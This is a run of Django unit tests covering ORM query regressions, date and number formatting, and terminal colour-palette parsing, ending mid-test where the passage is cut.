    def test_double_subquery_in(self):
        lfa1 = LeafA.objects.create(data='foo')
        lfa2 = LeafA.objects.create(data='bar')
        lfb1 = LeafB.objects.create(data='lfb1')
        lfb2 = LeafB.objects.create(data='lfb2')
        Join.objects.create(a=lfa1, b=lfb1)
        Join.objects.create(a=lfa2, b=lfb2)
        leaf_as = LeafA.objects.filter(data='foo').values_list('pk', flat=True)
        joins = Join.objects.filter(a__in=leaf_as).values_list('b__id', flat=True)
        qs = LeafB.objects.filter(pk__in=joins)
        self.assertQuerysetEqual(
            qs, [lfb1], lambda x: x)


class Ticket18785Tests(TestCase):
    def test_ticket_18785(self):
        # Test join trimming from ticket18785
        qs = Item.objects.exclude(
            note__isnull=False
        ).filter(
            name='something', creator__extra__isnull=True
        ).order_by()
        self.assertEqual(1, str(qs.query).count('INNER JOIN'))
        self.assertEqual(0, str(qs.query).count('OUTER JOIN'))


class Ticket20788Tests(TestCase):
    def test_ticket_20788(self):
        Paragraph.objects.create()
        paragraph = Paragraph.objects.create()
        page = paragraph.page.create()
        chapter = Chapter.objects.create(paragraph=paragraph)
        Book.objects.create(chapter=chapter)

        paragraph2 = Paragraph.objects.create()
        Page.objects.create()
        chapter2 = Chapter.objects.create(paragraph=paragraph2)
        book2 = Book.objects.create(chapter=chapter2)

        sentences_not_in_pub = Book.objects.exclude(
            chapter__paragraph__page=page)
        self.assertQuerysetEqual(
            sentences_not_in_pub, [book2], lambda x: x)


class Ticket12807Tests(TestCase):
    def test_ticket_12807(self):
        p1 = Paragraph.objects.create()
        p2 = Paragraph.objects.create()
        # The ORed condition below should have no effect on the query - the
        # ~Q(pk__in=[]) will always be True.
        qs = Paragraph.objects.filter((Q(pk=p2.pk) | ~Q(pk__in=[])) & Q(pk=p1.pk))
        self.assertQuerysetEqual(qs, [p1], lambda x: x)


class RelatedLookupTypeTests(TestCase):
    error = 'Cannot query "%s": Must be "%s" instance.'

    @classmethod
    def setUpTestData(cls):
        cls.oa = ObjectA.objects.create(name="oa")
        cls.poa = ProxyObjectA.objects.get(name="oa")
        cls.coa = ChildObjectA.objects.create(name="coa")
        cls.wrong_type = Order.objects.create(id=cls.oa.pk)
        cls.ob = ObjectB.objects.create(name="ob", objecta=cls.oa, num=1)
        ProxyObjectB.objects.create(name="pob", objecta=cls.oa, num=2)
        cls.pob = ProxyObjectB.objects.all()
        ObjectC.objects.create(childobjecta=cls.coa)

    def test_wrong_type_lookup(self):
        """
        A ValueError is raised when the incorrect object type is passed to a
        query lookup.
        """
        # Passing incorrect object type
        with self.assertRaisesMessage(ValueError, self.error % (self.wrong_type, ObjectA._meta.object_name)):
            ObjectB.objects.get(objecta=self.wrong_type)

        with self.assertRaisesMessage(ValueError, self.error % (self.wrong_type, ObjectA._meta.object_name)):
            ObjectB.objects.filter(objecta__in=[self.wrong_type])

        with self.assertRaisesMessage(ValueError, self.error % (self.wrong_type, ObjectA._meta.object_name)):
            ObjectB.objects.filter(objecta=self.wrong_type)

        with self.assertRaisesMessage(ValueError, self.error % (self.wrong_type, ObjectB._meta.object_name)):
            ObjectA.objects.filter(objectb__in=[self.wrong_type, self.ob])

        # Passing an object of the class on which query is done.
        with self.assertRaisesMessage(ValueError, self.error % (self.ob, ObjectA._meta.object_name)):
            ObjectB.objects.filter(objecta__in=[self.poa, self.ob])

        with self.assertRaisesMessage(ValueError, self.error % (self.ob, ChildObjectA._meta.object_name)):
            ObjectC.objects.exclude(childobjecta__in=[self.coa, self.ob])

    def test_wrong_backward_lookup(self):
        """
        A ValueError is raised when the incorrect object type is passed to a
        query lookup for backward relations.
        """
        with self.assertRaisesMessage(ValueError, self.error % (self.oa, ObjectB._meta.object_name)):
            ObjectA.objects.filter(objectb__in=[self.oa, self.ob])

        with self.assertRaisesMessage(ValueError, self.error % (self.oa, ObjectB._meta.object_name)):
            ObjectA.objects.exclude(objectb=self.oa)

        with self.assertRaisesMessage(ValueError, self.error % (self.wrong_type, ObjectB._meta.object_name)):
            ObjectA.objects.get(objectb=self.wrong_type)

    def test_correct_lookup(self):
        """
        When passing proxy model objects, child objects, or parent objects,
        lookups work fine.
        """
        out_a = ['<ObjectA: oa>', ]
        out_b = ['<ObjectB: ob>', '<ObjectB: pob>']
        out_c = ['<ObjectC: >']

        # proxy model objects
        self.assertQuerysetEqual(ObjectB.objects.filter(objecta=self.poa).order_by('name'), out_b)
        self.assertQuerysetEqual(ObjectA.objects.filter(objectb__in=self.pob).order_by('pk'), out_a * 2)

        # child objects
        self.assertQuerysetEqual(ObjectB.objects.filter(objecta__in=[self.coa]), [])
        self.assertQuerysetEqual(ObjectB.objects.filter(objecta__in=[self.poa, self.coa]).order_by('name'), out_b)
        self.assertQuerysetEqual(
            ObjectB.objects.filter(objecta__in=iter([self.poa, self.coa])).order_by('name'),
            out_b
        )

        # parent objects
        self.assertQuerysetEqual(ObjectC.objects.exclude(childobjecta=self.oa), out_c)

        # QuerySet related object type checking shouldn't issue queries
        # (the querysets aren't evaluated here, hence zero queries) (#23266).
        with self.assertNumQueries(0):
            ObjectB.objects.filter(objecta__in=ObjectA.objects.all())

    def test_values_queryset_lookup(self):
        """
        #23396 - Ensure ValueQuerySets are not checked for compatibility with the lookup field
        """
        # Make sure the num and objecta field values match.
        ob = ObjectB.objects.get(name='ob')
        ob.num = ob.objecta.pk
        ob.save()
        pob = ObjectB.objects.get(name='pob')
        pob.num = pob.objecta.pk
        pob.save()
        self.assertQuerysetEqual(ObjectB.objects.filter(
            objecta__in=ObjectB.objects.all().values_list('num')
        ).order_by('pk'), ['<ObjectB: ob>', '<ObjectB: pob>'])


class Ticket14056Tests(TestCase):
    def test_ticket_14056(self):
        s1 = SharedConnection.objects.create(data='s1')
        s2 = SharedConnection.objects.create(data='s2')
        s3 = SharedConnection.objects.create(data='s3')
        PointerA.objects.create(connection=s2)
        expected_ordering = (
            [s1, s3, s2] if connection.features.nulls_order_largest
            else [s2, s1, s3]
        )
        self.assertQuerysetEqual(
            SharedConnection.objects.order_by('-pointera__connection', 'pk'),
            expected_ordering, lambda x: x
        )


class Ticket20955Tests(TestCase):
    def test_ticket_20955(self):
        jack = Staff.objects.create(name='jackstaff')
        jackstaff = StaffUser.objects.create(staff=jack)
        jill = Staff.objects.create(name='jillstaff')
        jillstaff = StaffUser.objects.create(staff=jill)
        task = Task.objects.create(creator=jackstaff, owner=jillstaff, title="task")
        task_get = Task.objects.get(pk=task.pk)
        # Load data so that assertNumQueries doesn't complain about the get
        # version's queries.
        task_get.creator.staffuser.staff
        task_get.owner.staffuser.staff
        qs = Task.objects.select_related(
            'creator__staffuser__staff', 'owner__staffuser__staff')
        self.assertEqual(str(qs.query).count(' JOIN '), 6)
        task_select_related = qs.get(pk=task.pk)
        with self.assertNumQueries(0):
            self.assertEqual(task_select_related.creator.staffuser.staff,
                             task_get.creator.staffuser.staff)
            self.assertEqual(task_select_related.owner.staffuser.staff,
                             task_get.owner.staffuser.staff)


class Ticket21203Tests(TestCase):
    def test_ticket_21203(self):
        p = Ticket21203Parent.objects.create(parent_bool=True)
        c = Ticket21203Child.objects.create(parent=p)
        qs = Ticket21203Child.objects.select_related('parent').defer('parent__created')
        self.assertQuerysetEqual(qs, [c], lambda x: x)
        self.assertIs(qs[0].parent.parent_bool, True)


class ValuesJoinPromotionTests(TestCase):
    def test_values_no_promotion_for_existing(self):
        qs = Node.objects.filter(parent__parent__isnull=False)
        self.assertIn(' INNER JOIN ', str(qs.query))
        qs = qs.values('parent__parent__id')
        self.assertIn(' INNER JOIN ', str(qs.query))
        # Make sure there is a left outer join without the filter.
        qs = Node.objects.values('parent__parent__id')
        self.assertIn(' LEFT OUTER JOIN ', str(qs.query))

    def test_non_nullable_fk_not_promoted(self):
        qs = ObjectB.objects.values('objecta__name')
        self.assertIn(' INNER JOIN ', str(qs.query))

    def test_ticket_21376(self):
        a = ObjectA.objects.create()
        ObjectC.objects.create(objecta=a)
        qs = ObjectC.objects.filter(
            Q(objecta=a) | Q(objectb__objecta=a),
        )
        qs = qs.filter(
            Q(objectb=1) | Q(objecta=a),
        )
        self.assertEqual(qs.count(), 1)
        tblname = connection.ops.quote_name(ObjectB._meta.db_table)
        self.assertIn(' LEFT OUTER JOIN %s' % tblname, str(qs.query))


class ForeignKeyToBaseExcludeTests(TestCase):
    def test_ticket_21787(self):
        sc1 = SpecialCategory.objects.create(special_name='sc1', name='sc1')
        sc2 = SpecialCategory.objects.create(special_name='sc2', name='sc2')
        sc3 = SpecialCategory.objects.create(special_name='sc3', name='sc3')
        c1 = CategoryItem.objects.create(category=sc1)
        CategoryItem.objects.create(category=sc2)
        self.assertQuerysetEqual(
            SpecialCategory.objects.exclude(
                categoryitem__id=c1.pk).order_by('name'),
            [sc2, sc3], lambda x: x
        )
        self.assertQuerysetEqual(
            SpecialCategory.objects.filter(categoryitem__id=c1.pk),
            [sc1], lambda x: x
        )


class ReverseM2MCustomPkTests(TestCase):
    def test_ticket_21879(self):
        cpt1 = CustomPkTag.objects.create(id='cpt1', tag='cpt1')
        cp1 = CustomPk.objects.create(name='cp1', extra='extra')
        cp1.custompktag_set.add(cpt1)
        self.assertQuerysetEqual(
            CustomPk.objects.filter(custompktag=cpt1), [cp1],
            lambda x: x)
        self.assertQuerysetEqual(
            CustomPkTag.objects.filter(custom_pk=cp1), [cpt1],
            lambda x: x)


class Ticket22429Tests(TestCase):
    def test_ticket_22429(self):
        sc1 = School.objects.create()
        st1 = Student.objects.create(school=sc1)

        sc2 = School.objects.create()
        st2 = Student.objects.create(school=sc2)

        cr = Classroom.objects.create(school=sc1)
        cr.students.add(st1)

        queryset = Student.objects.filter(~Q(classroom__school=F('school')))
        self.assertQuerysetEqual(queryset, [st2], lambda x: x)


class Ticket23605Tests(TestCase):
    def test_ticket_23605(self):
        # Test filtering on a complicated q-object from ticket's report.
        # The query structure is such that we have multiple nested subqueries.
        # The original problem was that the inner queries weren't relabeled
        # correctly.
        # See also #24090.
        a1 = Ticket23605A.objects.create()
        a2 = Ticket23605A.objects.create()
        c1 = Ticket23605C.objects.create(field_c0=10000.0)
        Ticket23605B.objects.create(
            field_b0=10000.0, field_b1=True,
            modelc_fk=c1, modela_fk=a1)
        complex_q = Q(pk__in=Ticket23605A.objects.filter(
            Q(
                # True for a1 as field_b0 = 10000, field_c0=10000
                # False for a2 as no ticket23605b found
                ticket23605b__field_b0__gte=1000000 /
                F("ticket23605b__modelc_fk__field_c0")
            ) &
            # True for a1 (field_b1=True)
            Q(ticket23605b__field_b1=True) & ~Q(ticket23605b__pk__in=Ticket23605B.objects.filter(
                ~(
                    # Same filters as above commented filters, but
                    # double-negated (one for Q() above, one for
                    # parentheses). So, again a1 match, a2 not.
                    Q(field_b1=True) &
                    Q(field_b0__gte=1000000 / F("modelc_fk__field_c0"))
                )
            ))).filter(ticket23605b__field_b1=True))
        qs1 = Ticket23605A.objects.filter(complex_q)
        self.assertQuerysetEqual(qs1, [a1], lambda x: x)
        qs2 = Ticket23605A.objects.exclude(complex_q)
        self.assertQuerysetEqual(qs2, [a2], lambda x: x)


class TestTicket24279(TestCase):
    def test_ticket_24278(self):
        School.objects.create()
        qs = School.objects.filter(Q(pk__in=()) | Q())
        self.assertQuerysetEqual(qs, [])


class TestInvalidValuesRelation(TestCase):
    def test_invalid_values(self):
        with self.assertRaises(ValueError):
            Annotation.objects.filter(tag='abc')
        with self.assertRaises(ValueError):
            Annotation.objects.filter(tag__in=[123, 'abc'])


class TestTicket24605(TestCase):
    def test_ticket_24605(self):
        """
        Subquery table names should be quoted.
        """
        i1 = Individual.objects.create(alive=True)
        RelatedIndividual.objects.create(related=i1)
        i2 = Individual.objects.create(alive=False)
        RelatedIndividual.objects.create(related=i2)
        i3 = Individual.objects.create(alive=True)
        i4 = Individual.objects.create(alive=False)

        self.assertQuerysetEqual(
            Individual.objects.filter(Q(alive=False), Q(related_individual__isnull=True)),
            [i4], lambda x: x
        )
        self.assertQuerysetEqual(
            Individual.objects.exclude(
                Q(alive=False), Q(related_individual__isnull=True)
            ).order_by('pk'),
            [i1, i2, i3], lambda x: x
        )


class Ticket23622Tests(TestCase):
    @skipUnlessDBFeature('can_distinct_on_fields')
    def test_ticket_23622(self):
        """
        Make sure __pk__in and __in work the same for related fields when
        using a distinct on subquery.
        """
        a1 = Ticket23605A.objects.create()
        a2 = Ticket23605A.objects.create()
        c1 = Ticket23605C.objects.create(field_c0=0.0)
        Ticket23605B.objects.create(
            modela_fk=a1, field_b0=123,
            field_b1=True,
            modelc_fk=c1,
        )
        Ticket23605B.objects.create(
            modela_fk=a1, field_b0=23,
            field_b1=True,
            modelc_fk=c1,
        )
        Ticket23605B.objects.create(
            modela_fk=a1, field_b0=234,
            field_b1=True,
            modelc_fk=c1,
        )
        Ticket23605B.objects.create(
            modela_fk=a1, field_b0=12,
            field_b1=True,
            modelc_fk=c1,
        )
        Ticket23605B.objects.create(
            modela_fk=a2, field_b0=567,
            field_b1=True,
            modelc_fk=c1,
        )
        Ticket23605B.objects.create(
            modela_fk=a2, field_b0=76,
            field_b1=True,
            modelc_fk=c1,
        )
        Ticket23605B.objects.create(
            modela_fk=a2, field_b0=7,
            field_b1=True,
            modelc_fk=c1,
        )
        Ticket23605B.objects.create(
            modela_fk=a2, field_b0=56,
            field_b1=True,
            modelc_fk=c1,
        )
        qx = (
            Q(ticket23605b__pk__in=Ticket23605B.objects.order_by('modela_fk', '-field_b1').distinct('modela_fk')) &
            Q(ticket23605b__field_b0__gte=300)
        )
        qy = (
            Q(ticket23605b__in=Ticket23605B.objects.order_by('modela_fk', '-field_b1').distinct('modela_fk')) &
            Q(ticket23605b__field_b0__gte=300)
        )
        self.assertEqual(
            set(Ticket23605A.objects.filter(qx).values_list('pk', flat=True)),
            set(Ticket23605A.objects.filter(qy).values_list('pk', flat=True))
        )
        self.assertQuerysetEqual(
            Ticket23605A.objects.filter(qx),
            [a2], lambda x: x
        )






from __future__ import unicode_literals

import sys
from datetime import date, datetime
from unittest import skipIf

from django.test import SimpleTestCase, override_settings
from django.test.utils import TZ_SUPPORT, requires_tz_support
from django.utils import dateformat, translation
from django.utils.dateformat import format
from django.utils.timezone import (
    get_default_timezone, get_fixed_timezone, make_aware, utc,
)

try:
    import pytz
except ImportError:
    pytz = None


@override_settings(TIME_ZONE='Europe/Copenhagen')
class DateFormatTests(SimpleTestCase):

    def setUp(self):
        self._orig_lang = translation.get_language()
        translation.activate('en-us')

    def tearDown(self):
        translation.activate(self._orig_lang)

    def test_date(self):
        d = date(2009, 5, 16)
        self.assertEqual(date.fromtimestamp(int(format(d, 'U'))), d)

    def test_naive_datetime(self):
        dt = datetime(2009, 5, 16, 5, 30, 30)
        self.assertEqual(datetime.fromtimestamp(int(format(dt, 'U'))), dt)

    @skipIf(sys.platform.startswith('win') and not pytz, "Test requires pytz on Windows")
    def test_naive_ambiguous_datetime(self):
        # dt is ambiguous in Europe/Copenhagen. LocalTimezone guesses the
        # offset (and gets it wrong 50% of the time) while pytz refuses the
        # temptation to guess. In any case, this shouldn't crash.
        dt = datetime(2015, 10, 25, 2, 30, 0)

        # Try all formatters that involve self.timezone.
        self.assertEqual(format(dt, 'I'), '0' if pytz is None else '')
        self.assertEqual(format(dt, 'O'), '+0100' if pytz is None else '')
        self.assertEqual(format(dt, 'T'), 'CET' if pytz is None else '')
        self.assertEqual(format(dt, 'Z'), '3600' if pytz is None else '')

    @requires_tz_support
    def test_datetime_with_local_tzinfo(self):
        ltz = get_default_timezone()
        dt = make_aware(datetime(2009, 5, 16, 5, 30, 30), ltz)
        self.assertEqual(datetime.fromtimestamp(int(format(dt, 'U')), ltz), dt)
        self.assertEqual(datetime.fromtimestamp(int(format(dt, 'U'))), dt.replace(tzinfo=None))

    @requires_tz_support
    def test_datetime_with_tzinfo(self):
        tz = get_fixed_timezone(-510)
        ltz = get_default_timezone()
        dt = make_aware(datetime(2009, 5, 16, 5, 30, 30), ltz)
        self.assertEqual(datetime.fromtimestamp(int(format(dt, 'U')), tz), dt)
        self.assertEqual(datetime.fromtimestamp(int(format(dt, 'U')), ltz), dt)
        # astimezone() is safe here because the target timezone doesn't have DST
        self.assertEqual(datetime.fromtimestamp(int(format(dt, 'U'))), dt.astimezone(ltz).replace(tzinfo=None))
        self.assertEqual(datetime.fromtimestamp(int(format(dt, 'U')), tz).utctimetuple(), dt.utctimetuple())
        self.assertEqual(datetime.fromtimestamp(int(format(dt, 'U')), ltz).utctimetuple(), dt.utctimetuple())

    def test_epoch(self):
        udt = datetime(1970, 1, 1, tzinfo=utc)
        self.assertEqual(format(udt, 'U'), '0')

    def test_empty_format(self):
        my_birthday = datetime(1979, 7, 8, 22, 00)

        self.assertEqual(dateformat.format(my_birthday, ''), '')

    def test_am_pm(self):
        my_birthday = datetime(1979, 7, 8, 22, 00)

        self.assertEqual(dateformat.format(my_birthday, 'a'), 'p.m.')

    def test_microsecond(self):
        # Regression test for #18951
        dt = datetime(2009, 5, 16, microsecond=123)
        self.assertEqual(dateformat.format(dt, 'u'), '000123')

    def test_date_formats(self):
        my_birthday = datetime(1979, 7, 8, 22, 00)
        timestamp = datetime(2008, 5, 19, 11, 45, 23, 123456)

        self.assertEqual(dateformat.format(my_birthday, 'A'), 'PM')
        self.assertEqual(dateformat.format(timestamp, 'c'), '2008-05-19T11:45:23.123456')
        self.assertEqual(dateformat.format(my_birthday, 'd'), '08')
        self.assertEqual(dateformat.format(my_birthday, 'j'), '8')
        self.assertEqual(dateformat.format(my_birthday, 'l'), 'Sunday')
        self.assertEqual(dateformat.format(my_birthday, 'L'), 'False')
        self.assertEqual(dateformat.format(my_birthday, 'm'), '07')
        self.assertEqual(dateformat.format(my_birthday, 'M'), 'Jul')
        self.assertEqual(dateformat.format(my_birthday, 'b'), 'jul')
        self.assertEqual(dateformat.format(my_birthday, 'n'), '7')
        self.assertEqual(dateformat.format(my_birthday, 'N'), 'July')

    def test_time_formats(self):
        my_birthday = datetime(1979, 7, 8, 22, 00)

        self.assertEqual(dateformat.format(my_birthday, 'P'), '10 p.m.')
        self.assertEqual(dateformat.format(my_birthday, 's'), '00')
        self.assertEqual(dateformat.format(my_birthday, 'S'), 'th')
        self.assertEqual(dateformat.format(my_birthday, 't'), '31')
        self.assertEqual(dateformat.format(my_birthday, 'w'), '0')
        self.assertEqual(dateformat.format(my_birthday, 'W'), '27')
        self.assertEqual(dateformat.format(my_birthday, 'y'), '79')
        self.assertEqual(dateformat.format(my_birthday, 'Y'), '1979')
        self.assertEqual(dateformat.format(my_birthday, 'z'), '189')

    def test_dateformat(self):
        my_birthday = datetime(1979, 7, 8, 22, 00)

        self.assertEqual(dateformat.format(my_birthday, r'Y z \C\E\T'), '1979 189 CET')

        self.assertEqual(dateformat.format(my_birthday, r'jS \o\f F'), '8th of July')

    def test_futuredates(self):
        the_future = datetime(2100, 10, 25, 0, 00)
        self.assertEqual(dateformat.format(the_future, r'Y'), '2100')

    def test_timezones(self):
        my_birthday = datetime(1979, 7, 8, 22, 00)
        summertime = datetime(2005, 10, 30, 1, 00)
        wintertime = datetime(2005, 10, 30, 4, 00)
        timestamp = datetime(2008, 5, 19, 11, 45, 23, 123456)

        # 3h30m to the west of UTC
        tz = get_fixed_timezone(-210)
        aware_dt = datetime(2009, 5, 16, 5, 30, 30, tzinfo=tz)

        if TZ_SUPPORT:
            self.assertEqual(dateformat.format(my_birthday, 'O'), '+0100')
            self.assertEqual(dateformat.format(my_birthday, 'r'), 'Sun, 8 Jul 1979 22:00:00 +0100')
            self.assertEqual(dateformat.format(my_birthday, 'T'), 'CET')
            self.assertEqual(dateformat.format(my_birthday, 'e'), '')
            self.assertEqual(dateformat.format(aware_dt, 'e'), '-0330')
            self.assertEqual(dateformat.format(my_birthday, 'U'), '300315600')
            self.assertEqual(dateformat.format(timestamp, 'u'), '123456')
            self.assertEqual(dateformat.format(my_birthday, 'Z'), '3600')
            self.assertEqual(dateformat.format(summertime, 'I'), '1')
            self.assertEqual(dateformat.format(summertime, 'O'), '+0200')
            self.assertEqual(dateformat.format(wintertime, 'I'), '0')
            self.assertEqual(dateformat.format(wintertime, 'O'), '+0100')

        # Ticket #16924 -- We don't need timezone support to test this
        self.assertEqual(dateformat.format(aware_dt, 'O'), '-0330')

    def test_invalid_time_format_specifiers(self):
        my_birthday = date(1984, 8, 7)

        for specifier in ['a', 'A', 'f', 'g', 'G', 'h', 'H', 'i', 'P', 's', 'u']:
            msg = (
                "The format for date objects may not contain time-related "
                "format specifiers (found '%s')." % specifier
            )
            with self.assertRaisesMessage(TypeError, msg):
                dateformat.format(my_birthday, specifier)






# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

from decimal import Decimal
from sys import float_info
from unittest import TestCase

from django.utils.numberformat import format as nformat


class TestNumberFormat(TestCase):

    def test_format_number(self):
        self.assertEqual(nformat(1234, '.'), '1234')
        self.assertEqual(nformat(1234.2, '.'), '1234.2')
        self.assertEqual(nformat(1234, '.', decimal_pos=2), '1234.00')
        self.assertEqual(nformat(1234, '.', grouping=2, thousand_sep=','), '1234')
        self.assertEqual(nformat(1234, '.', grouping=2, thousand_sep=',', force_grouping=True), '12,34')
        self.assertEqual(nformat(-1234.33, '.', decimal_pos=1), '-1234.3')

    def test_format_string(self):
        self.assertEqual(nformat('1234', '.'), '1234')
        self.assertEqual(nformat('1234.2', '.'), '1234.2')
        self.assertEqual(nformat('1234', '.', decimal_pos=2), '1234.00')
        self.assertEqual(nformat('1234', '.', grouping=2, thousand_sep=','), '1234')
        self.assertEqual(nformat('1234', '.', grouping=2, thousand_sep=',', force_grouping=True), '12,34')
        self.assertEqual(nformat('-1234.33', '.', decimal_pos=1), '-1234.3')
        self.assertEqual(nformat('10000', '.', grouping=3, thousand_sep='comma', force_grouping=True), '10comma000')

    def test_large_number(self):
        most_max = (
            '{}179769313486231570814527423731704356798070567525844996'
            '598917476803157260780028538760589558632766878171540458953'
            '514382464234321326889464182768467546703537516986049910576'
            '551282076245490090389328944075868508455133942304583236903'
            '222948165808559332123348274797826204144723168738177180919'
            '29988125040402618412485836{}'
        )
        most_max2 = (
            '{}35953862697246314162905484746340871359614113505168999'
            '31978349536063145215600570775211791172655337563430809179'
            '07028764928468642653778928365536935093407075033972099821'
            '15310256415249098018077865788815173701691026788460916647'
            '38064458963316171186642466965495956524082894463374763543'
            '61838599762500808052368249716736'
        )
        int_max = int(float_info.max)
        self.assertEqual(nformat(int_max, '.'), most_max.format('', '8'))
        self.assertEqual(nformat(int_max + 1, '.'), most_max.format('', '9'))
        self.assertEqual(nformat(int_max * 2, '.'), most_max2.format(''))
        self.assertEqual(nformat(0 - int_max, '.'), most_max.format('-', '8'))
        self.assertEqual(nformat(-1 - int_max, '.'), most_max.format('-', '9'))
        self.assertEqual(nformat(-2 * int_max, '.'), most_max2.format('-'))

    def test_decimal_numbers(self):
        self.assertEqual(nformat(Decimal('1234'), '.'), '1234')
        self.assertEqual(nformat(Decimal('1234.2'), '.'), '1234.2')
        self.assertEqual(nformat(Decimal('1234'), '.', decimal_pos=2), '1234.00')
        self.assertEqual(nformat(Decimal('1234'), '.', grouping=2, thousand_sep=','), '1234')
        self.assertEqual(nformat(Decimal('1234'), '.', grouping=2, thousand_sep=',', force_grouping=True), '12,34')
        self.assertEqual(nformat(Decimal('-1234.33'), '.', decimal_pos=1), '-1234.3')
        self.assertEqual(nformat(Decimal('0.00000001'), '.', decimal_pos=8), '0.00000001')

    def test_decimal_subclass(self):
        class EuroDecimal(Decimal):
            """
            Wrapper for Decimal which prefixes each amount with the € symbol.
            """
            def __format__(self, specifier, **kwargs):
                amount = super(EuroDecimal, self).__format__(specifier, **kwargs)
                return '€ {}'.format(amount)

        price = EuroDecimal('1.23')
        self.assertEqual(nformat(price, ','), '€ 1,23')






import unittest

from django.utils.termcolors import (
    DARK_PALETTE, DEFAULT_PALETTE, LIGHT_PALETTE, NOCOLOR_PALETTE, PALETTES,
    colorize, parse_color_setting,
)


class TermColorTests(unittest.TestCase):

    def test_empty_string(self):
        self.assertEqual(parse_color_setting(''), PALETTES[DEFAULT_PALETTE])

    def test_simple_palette(self):
        self.assertEqual(parse_color_setting('light'), PALETTES[LIGHT_PALETTE])
        self.assertEqual(parse_color_setting('dark'), PALETTES[DARK_PALETTE])
        self.assertIsNone(parse_color_setting('nocolor'))

    def test_fg(self):
        self.assertEqual(
            parse_color_setting('error=green'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green'})
        )

    def test_fg_bg(self):
        self.assertEqual(
            parse_color_setting('error=green/blue'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green', 'bg': 'blue'})
        )

    def test_fg_opts(self):
        self.assertEqual(
            parse_color_setting('error=green,blink'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green', 'opts': ('blink',)})
        )
        self.assertEqual(
            parse_color_setting('error=green,bold,blink'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green', 'opts': ('blink', 'bold')})
        )

    def test_fg_bg_opts(self):
        self.assertEqual(
            parse_color_setting('error=green/blue,blink'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green', 'bg': 'blue', 'opts': ('blink',)})
        )
        self.assertEqual(
            parse_color_setting('error=green/blue,bold,blink'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green', 'bg': 'blue', 'opts': ('blink', 'bold')})
        )

    def test_override_palette(self):
        self.assertEqual(
            parse_color_setting('light;error=green'),
            dict(PALETTES[LIGHT_PALETTE], ERROR={'fg': 'green'})
        )

    def test_override_nocolor(self):
        self.assertEqual(
            parse_color_setting('nocolor;error=green'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green'})
        )

    def test_reverse_override(self):
        self.assertEqual(parse_color_setting('error=green;light'), PALETTES[LIGHT_PALETTE])

    def test_multiple_roles(self):
        self.assertEqual(
            parse_color_setting('error=green;sql_field=blue'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green'}, SQL_FIELD={'fg': 'blue'})
        )

    def test_override_with_multiple_roles(self):
        self.assertEqual(
            parse_color_setting('light;error=green;sql_field=blue'),
            dict(PALETTES[LIGHT_PALETTE], ERROR={'fg': 'green'}, SQL_FIELD={'fg': 'blue'})
        )

    def test_empty_definition(self):
        self.assertIsNone(parse_color_setting(';'))
        self.assertEqual(parse_color_setting('light;'), PALETTES[LIGHT_PALETTE])
        self.assertIsNone(parse_color_setting(';;;'))

    def test_empty_options(self):
        self.assertEqual(
            parse_color_setting('error=green,'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green'})
        )
        self.assertEqual(
            parse_color_setting('error=green,,,'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green'})
        )
        self.assertEqual(
            parse_color_setting('error=green,,blink,,'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green', 'opts': ('blink',)})
        )

    def test_bad_palette(self):
        self.assertIsNone(parse_color_setting('unknown'))

    def test_bad_role(self):
        self.assertIsNone(parse_color_setting('unknown='))
        self.assertIsNone(parse_color_setting('unknown=green'))
        self.assertEqual(
            parse_color_setting('unknown=green;sql_field=blue'),
            dict(PALETTES[NOCOLOR_PALETTE], SQL_FIELD={'fg': 'blue'})
        )

    def test_bad_color(self):
        self.assertIsNone(parse_color_setting('error='))
        self.assertEqual(
            parse_color_setting('error=;sql_field=blue'),
            dict(PALETTES[NOCOLOR_PALETTE], SQL_FIELD={'fg': 'blue'})
        )
        self.assertIsNone(parse_color_setting('error=unknown'))
        self.assertEqual(
            parse_color_setting('error=unknown;sql_field=blue'),
            dict(PALETTES[NOCOLOR_PALETTE], SQL_FIELD={'fg': 'blue'})
        )
        self.assertEqual(
            parse_color_setting('error=green/unknown'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green'})
        )
        self.assertEqual(
            parse_color_setting('error=green/blue/something'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green', 'bg': 'blue'})
        )
        self.assertEqual(
            parse_color_setting('error=green/blue/something,blink'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green', 'bg': 'blue', 'opts': ('blink',)})
        )

    def test_bad_option(self):
        self.assertEqual(
            parse_color_setting('error=green,unknown'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green'})
        )
        self.assertEqual(
            parse_color_setting('error=green,unknown,blink'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green', 'opts': ('blink',)})
        )

    def test_role_case(self):
        self.assertEqual(
            parse_color_setting('ERROR=green'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green'})
        )
        self.assertEqual(
            parse_color_setting('eRrOr=green'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green'})
        )

    def test_color_case(self):
        self.assertEqual(
            parse_color_setting('error=GREEN'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green'})
        )
        self.assertEqual(
            parse_color_setting('error=GREEN/BLUE'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green', 'bg': 'blue'})
        )
        self.assertEqual(
            parse_color_setting('error=gReEn'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green'})
        )
        self.assertEqual(
            parse_color_setting('error=gReEn/bLuE'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green', 'bg': 'blue'})
        )

    def test_opts_case(self):
        self.assertEqual(
            parse_color_setting('error=green,BLINK'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green', 'opts': ('blink',)})
        )
        self.assertEqual(
